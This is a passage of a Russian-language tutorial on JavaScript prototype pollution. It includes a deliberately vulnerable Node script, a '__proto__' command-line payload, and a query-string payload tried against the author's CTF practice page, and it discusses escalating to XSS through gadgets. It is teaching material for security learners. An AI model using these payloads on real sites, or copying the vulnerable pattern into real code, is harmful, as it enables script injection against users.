\u0434\u0430\u043b\u0435\u0435. \u0422\u0430\u043a\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u043e\u0432 \u043e\u0442 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0434\u043e <code>null<\/code> \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u043e\u0432 \u0438\u043b\u0438 <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/JavaScript\/Inheritance_and_the_prototype_chain\">prototype chain<\/a>. \u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u044d\u0442\u0438\u043c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0440\u0435\u043c\u0430\u0440\u043a\u0430: \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0438 \u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0443 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0438\u0449\u0435\u0442\u0441\u044f \u0432\u043e \u0432\u0441\u0435\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u043e\u0432.<\/p>\n<p>  <\/p>\n<p>\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c <code>o<\/code> \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u043e\u0432 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043a\u043e\u0440\u043e\u0442\u043a\u0430\u044f, \u0432\u0441\u0435\u0433\u043e \u043b\u0438\u0448\u044c \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; o.__proto__ &lt; {constructor: \u0192, __defineGetter__: \u0192, __defineSetter__: \u0192, hasOwnProperty: \u0192, __lookupGetter__: \u0192, \u2026} &gt; o.__proto__.__proto__ &lt; null<\/code><\/pre>\n<p>  <\/p>\n<p>\u0427\u0435\u0433\u043e \u043d\u0435 \u0441\u043a\u0430\u0436\u0435\u0448\u044c \u043e\u0431 \u043e\u0431\u044a\u0435\u043a\u0442\u0435 <code>window<\/code>.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; window.__proto__ &lt; Window {TEMPORARY: 0, PERSISTENT: 1, Symbol(Symbol.toStringTag): &quot;Window&quot;, constructor: \u0192} &gt; window.__proto__.__proto__ &lt; WindowProperties {Symbol(Symbol.toStringTag): &quot;WindowProperties&quot;} &gt; window.__proto__.__proto__.__proto__ &lt; EventTarget {Symbol(Symbol.toStringTag): &quot;EventTarget&quot;, addEventListener: \u0192, dispatchEvent: \u0192, removeEventListener: \u0192, constructor: \u0192} &gt; window.__proto__.__proto__.__proto__.__proto__ &lt; {constructor: \u0192, __defineGetter__: \u0192, __defineSetter__: \u0192, hasOwnProperty: \u0192, __lookupGetter__: \u0192, \u2026} &gt; window.__proto__.__proto__.__proto__.__proto__.__proto__ &lt; null<\/code><\/pre>\n<p>  <\/p>\n<p>\u041a\u0441\u0442\u0430\u0442\u0438, \u0441\u043b\u043e\u0432\u043e &quot;\u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f&quot; \u0432 JavaScript \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0430\u0442\u044c \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0435 \u0432\u0435\u0449\u0438 \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430:<\/p>\n<p>  <\/p>\n<ul>\n<li>\u0412\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>[[Prototype]]<\/code>. \u0412\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u043e\u043d\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d\u043e \u0436\u0438\u0432\u0435\u0442 \u0432 &quot;\u043a\u0438\u0448\u043a\u0430\u0445&quot; \u0434\u0432\u0438\u0436\u043a\u0430 JavaScript, \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043a \u043d\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>__proto__<\/code>, <code>Object.getPrototypeOf()<\/code> \u0438 \u0434\u0440\u0443\u0433\u0438\u0435.<\/li>\n<li>\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>prototype<\/code>: <code>Object.prototype<\/code>, <code>Function.prototype<\/code> \u0438 \u0434\u0440\u0443\u0433\u0438\u0435.<\/li>\n<li>\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>__proto__<\/code>. \u0420\u0435\u0434\u043a\u043e\u0435 \u0438 \u043d\u0435 \u0441\u043e\u0432\u0441\u0435\u043c \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438 <code>__proto__<\/code> \u044d\u0442\u043e <a href=\"https:\/\/developer.mozilla.org\/ru\/docs\/Web\/JavaScript\/Reference\/Functions\/get\">getter<\/a> \/ <a href=\"https:\/\/developer.mozilla.org\/ru\/docs\/Web\/JavaScript\/Reference\/Functions\/set\">setter<\/a> \u0438 \u043b\u0438\u0448\u044c \u0434\u043e\u0441\u0442\u0430\u0435\u0442 \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0435\u0435.<\/li>\n<\/ul>\n<p>  <\/p>\n<h1 id=\"chto-takoe-prototype-pollution\">\u0427\u0442\u043e \u0442\u0430\u043a\u043e\u0435 prototype pollution?<\/h1>\n<p>  <\/p>\n<p>\u0422\u0435\u0440\u043c\u0438\u043d\u043e\u043c prototype pollution \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044e, \u043a\u043e\u0433\u0434\u0430 \u0438\u0437\u043c\u0435\u043d\u044f\u044e\u0442 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>prototype<\/code> <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/JavaScript\/Reference\/Global_Objects#fundamental_objects\">\u0431\u0430\u0437\u043e\u0432\u044b\u0445 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432<\/a> (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <code>Object.prototype<\/code>, <code>Function.prototype<\/code>, <code>Array.prototype<\/code>).<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; Object.prototype.age = 42 &lt; 42 &gt; var a = [] &lt; undefined &gt; a.age &lt; 42<\/code><\/pre>\n<p>  <\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0443 \u043b\u044e\u0431\u043e\u0433\u043e \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0431\u0443\u0434\u0435\u0442 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>age<\/code> \u0441\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c <code>42<\/code>. \u0418\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u0432\u0430 \u0441\u043b\u0443\u0447\u0430\u044f:<\/p>\n<p>  <\/p>\n<ul>\n<li>\u0415\u0441\u043b\u0438 \u043d\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043e \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>age<\/code>, \u0442\u043e \u043e\u043d\u043e \u043f\u0435\u0440\u0435\u043a\u0440\u043e\u0435\u0442 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u0430.<\/li>\n<li>\u0415\u0441\u043b\u0438 \u043e\u0431\u044a\u0435\u043a\u0442 \u043d\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0442 <code>Object.prototype<\/code>.<\/li>\n<\/ul>\n<p>  <\/p>\n<p>\u041a\u0430\u043a prototype pollution \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0432 \u043a\u043e\u0434\u0435? \u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 <code>pp.js<\/code>.<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">$ cat pp.js<\/code><\/pre>\n<p>  <\/p>\n<pre><code class=\"javascript\">var o = {}; var a = process.argv[2]; var b = 'test'; var v = process.argv[3];  console.log(({}).test);  o[a][b] = v;  console.log(({}).test);<\/code><\/pre>\n<p>  <\/p>\n<p>\u0415\u0441\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u0442 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b <code>a<\/code> \u0438 <code>v<\/code>, \u0442\u043e \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c <code>a<\/code> \u0432 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <code>'__proto__'<\/code> \u0438 <code>v<\/code> \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435, \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0434\u043e\u0431\u0430\u0432\u0438\u0432 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>test<\/code> \u043d\u0430 <code>Object.prototype<\/code>.<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">$ node pp.js __proto__ 123 undefined 123<\/code><\/pre>\n<p>  <\/p>\n<p>\u041f\u043e\u0437\u0434\u0440\u0430\u0432\u043b\u044f\u044e, \u043c\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u043e \u043d\u0430\u0448\u043b\u0438 prototype pollution! &quot;\u041d\u043e \u043a\u0442\u043e \u0432 \u0437\u0434\u0440\u0430\u0432\u043e\u043c \u0443\u043c\u0435 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438?&quot; \u2014 \u0441\u043f\u0440\u043e\u0441\u0438\u0442\u0435 \u0432\u044b. \u0414\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0434\u0430\u043d\u043d\u044b\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u0440\u0435\u0434\u043a\u043e \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u0448\u044c \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0436\u0438\u0437\u043d\u0438. \u041e\u0434\u043d\u0430\u043a\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, \u043d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0431\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043d\u0430\u043c \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u0438\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 <code>Object.prototype<\/code>. \u041a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u043c\u044b \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445.<\/p>\n<p>  <\/p>\n<h1 id=\"prototype-pollution-na-kliente\">Prototype pollution \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435<\/h1>\n<p>  <\/p>\n<p>\u041a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0439 prototype pollution \u043d\u0430\u0447\u0430\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 2020 \u0433\u043e\u0434\u0430. \u041d\u0430 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u0445\u043e\u0440\u043e\u0448\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d \u0432\u0435\u043a\u0442\u043e\u0440, \u043a\u043e\u0433\u0434\u0430 \u043f\u0435\u0439\u043b\u043e\u0434 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 (\u043f\u043e\u0441\u043b\u0435 <code>?<\/code>) \u0438\u043b\u0438 \u0432 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0435 (\u043f\u043e\u0441\u043b\u0435 <code>#<\/code>). \u041f\u043e\u0434\u043e\u0431\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0441\u043a\u0430\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0434\u043e Reflected XSS.<\/p>\n<p>  <\/p>\n<p>\u0412\u043f\u043e\u043b\u043d\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0447\u0442\u043e \u043f\u0435\u0439\u043b\u043e\u0434 \u043c\u043e\u0436\u043d\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0438\u043b\u0438 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0435, \u043d\u043e \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0435\u0439\u043b\u043e\u0434 \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u0438 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u0435\u0442\u0438\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u0432\u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0442\u043e\u0433\u043e \u043f\u043e\u0441\u0435\u0442\u0438\u043b \u043b\u0438 \u043e\u043d \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443.<\/p>\n<p>  <\/p>\n<h2 id=\"poisk-prototype-pollution\">\u041f\u043e\u0438\u0441\u043a prototype pollution<\/h2>\n<p>  <\/p>\n<p>\u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043d\u0430\u0439\u0442\u0438 prototype pollution \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c \u0441\u0430\u0439\u0442\u0435 <code>https:\/\/ctf.nikitastupin.com\/pp\/known.html<\/code>. \u0421\u0430\u043c\u044b\u0439 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u2014 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 <a href=\"https:\/\/github.com\/msrkp\/PPScan\">PPScan<\/a> \u0434\u043b\u044f Google Chrome \u0438 \u043f\u043e\u0441\u0435\u0442\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.<\/p>\n<p>  <\/p>\n<p>\u041c\u044b \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u0441\u0447\u0435\u0442\u0447\u0438\u043a \u043d\u0430 \u0438\u043a\u043e\u043d\u043a\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0438 \u0441\u0442\u0430\u043b \u0440\u0430\u0432\u0435\u043d \u0434\u0432\u0443\u043c \u2014 \u0437\u043d\u0430\u0447\u0438\u0442 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0438\u0437 \u043f\u0435\u0439\u043b\u043e\u0434\u043e\u0432 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b. \u0415\u0441\u043b\u0438 \u043d\u0430\u0436\u043c\u0435\u043c \u043d\u0430 \u0438\u043a\u043e\u043d\u043a\u0443 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f, \u0442\u043e \u0443\u0432\u0438\u0434\u0438\u043c \u043f\u0435\u0439\u043b\u043e\u0434\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/jt\/_r\/9r\/jt_r9rigfk897mq-gtub6yu8o3k.png\"> <em>\u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 PPScan \u0432 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438<\/em><\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043e\u0434\u0438\u043d \u0438\u0437 \u043f\u0435\u0439\u043b\u043e\u0434\u043e\u0432 \u0440\u0443\u043a\u0430\u043c\u0438: \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 <code>https:\/\/ctf.nikitastupin.com\/pp\/known.html?__proto__[polluted]=test<\/code>, \u043e\u0442\u043a\u0440\u043e\u0435\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442.<\/p>\n<p>  <\/p>\n<pre><code class=\"javascript\">&gt; Object.prototype.polluted &lt; &quot;test&quot;<\/code><\/pre>\n<p>  <\/p>\n<p>\u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u043f\u0435\u0439\u043b\u043e\u0434 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b! \u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0441\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0439 prototype pollution \u043d\u0435 \u043d\u0435\u0441\u0435\u0442 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0412 \u043b\u0443\u0447\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u0435\u0433\u043e \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0439 DoS, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043b\u0435\u0447\u0438\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b.<\/p>\n<p>  <\/p>\n<h2 id=\"impakt-i-poisk-gadzhetov\">\u0418\u043c\u043f\u0430\u043a\u0442 \u0438 \u043f\u043e\u0438\u0441\u043a \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432<\/h2>\n<p>  <\/p>\n<p>\u041d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0441\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430 \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u044f \u0434\u043e XSS. JavaScript \u043a\u043e\u0434, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u044d\u0441\u043a\u0430\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c prototype pollution \u0434\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u043c. \u041a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u043b\u0438\u0431\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u0433\u0430\u0434\u0436\u0435\u0442, \u043b\u0438\u0431\u043e \u043c\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0438\u0441\u043a\u0430\u0442\u044c \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e. \u0421\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u0438\u0441\u043a \u043d\u043e\u0432\u044b\u0445 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432 \u044d\u0442\u043e \u0434\u0435\u043b\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0442\u0440\u0443\u0434\u043e\u0435\u043c\u043a\u043e\u0435.<\/p>\n<p>  <\/p>\n<h3 id=\"ispolzovanie-suschestvuyuschih-gadzhetov\">\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432<\/h3>\n<p>  <\/p>\n<p>\u0412 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438\u043c\u0435\u0435\u0442 \u0441\u043c\u044b\u0441\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 <a href=\"https:\/\/github.com\/BlackFan\/client-side-prototype-pollution\">BlackFan\/client-side-prototype-pollution<\/a> \u0438\u043b\u0438 \u0432 <a href=\"https:\/\/portswigger.net\/web-security\/cross-site-scripting\/cheat-sheet#prototype-pollution\">Cross-site scripting (XSS) cheat sheet<\/a>.<\/p>\n<p>  <\/p>\n<p>\u0415\u0441\u0442\u044c \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0434\u0432\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0433\u0430\u0434\u0436\u0435\u0442\u043e\u0432:<\/p>\n<p>  <\/p>\n<ol>\n<li>\u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u043b\u0430\u0433\u0438\u043d\u0430 <a href=\"https:\/\/chrome.google.com\/webstore\/detail\/wappalyzer\/gppongmhjkpfnbhagpmjfkannfbllamg?hl=en\">Wappalyzer<\/a>.<\/li>\n<li>\u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 <a href=\"https:\/\/gist.github.com\/nikitastupin\/b3b64a9f8c0eb74ce37626860193eaec\">fingerprint.js<\/a>.<\/li>\n<\/ol>\n<p>  <\/p>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0432\u0442\u043e\u0440\u044b\u043c \u043c\u0435\u0442\u043e\u0434\u043e\u043c, \u043d\u043e \u043f\u0440\u0435\u0436\u0434\u0435 \u043f\u043e\u0439\u043c\u0435\u043c \u043a\u0430\u043a \u043e\u043d \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u0433\u0430\u0434\u0436\u0435\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u044b\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 \u0432 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435, \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c 